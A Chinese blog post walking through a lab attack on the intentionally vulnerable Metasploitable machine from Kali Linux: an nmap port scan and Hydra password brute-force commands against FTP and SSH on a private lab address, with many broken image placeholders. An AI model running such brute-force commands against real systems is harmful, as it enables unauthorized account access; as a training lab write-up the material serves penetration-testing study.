手把手教你kali渗透Metasploitable-优快云博客

本文链接：https://blog.youkuaiyun.com/qq_41620273/article/details/122135613

本文详细记录了使用Kali Linux对Metasploitable靶机进行网络设置、端口扫描和渗透测试的过程，包括FTP、SSH的爆破，以及1524、1099、139、6667、6200和8180端口的漏洞利用，最终获取不同服务的root权限。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

记一次kali渗透Metasploitbale靶机

1.网络设置

在这里插入图片描述

2.ifconfig查看Metasploitable的IP：

3.对Metasploitbale进行nmap端口扫描：

Nmap 192.168.22.128

在这里插入图片描述

端口爆破：FTP、SSH等

工具：Hydra

备用字典：user.txt: $[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-96A18fmY-1640349503054)(D:\应用\typora\Typora\resources\app\asserts\typora图片\clip_image002-1640348393516.jpg)]$

pass,txt: $[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lz66hQty-1640349503056)(D:\应用\typora\Typora\resources\app\asserts\typora图片\clip_image004-1640348393524.jpg)]$

一、爆破FTP

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MNRQbfl3-1640349503056)(D:\应用\typora\Typora\resources\app\asserts\typora图片\clip_image002-1640348429650.jpg)]$

hydra -L /root/桌面/user.txt -P /root/桌面/pass.txt  ftp://192.168.22.128

//注意路径是桌面还是Desktop

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FWa9X3vl-1640349503058)(D:\应用\typora\Typora\resources\app\asserts\typora图片\clip_image002-1640348436759.jpg)]$

二、爆破SSH

hydra -L /root/桌面/user.txt -P /root/桌面/pass.txt 192.168.22.128 ssh

手把手教你kali渗透Metasploitable

记一次kali渗透Metasploitbale靶机

1.网络设置

2.ifconfig查看Metasploitable的IP：

3.对Metasploitbale进行nmap端口扫描：

一、 爆破FTP

二、 爆破SSH

一、爆破FTP

二、爆破SSH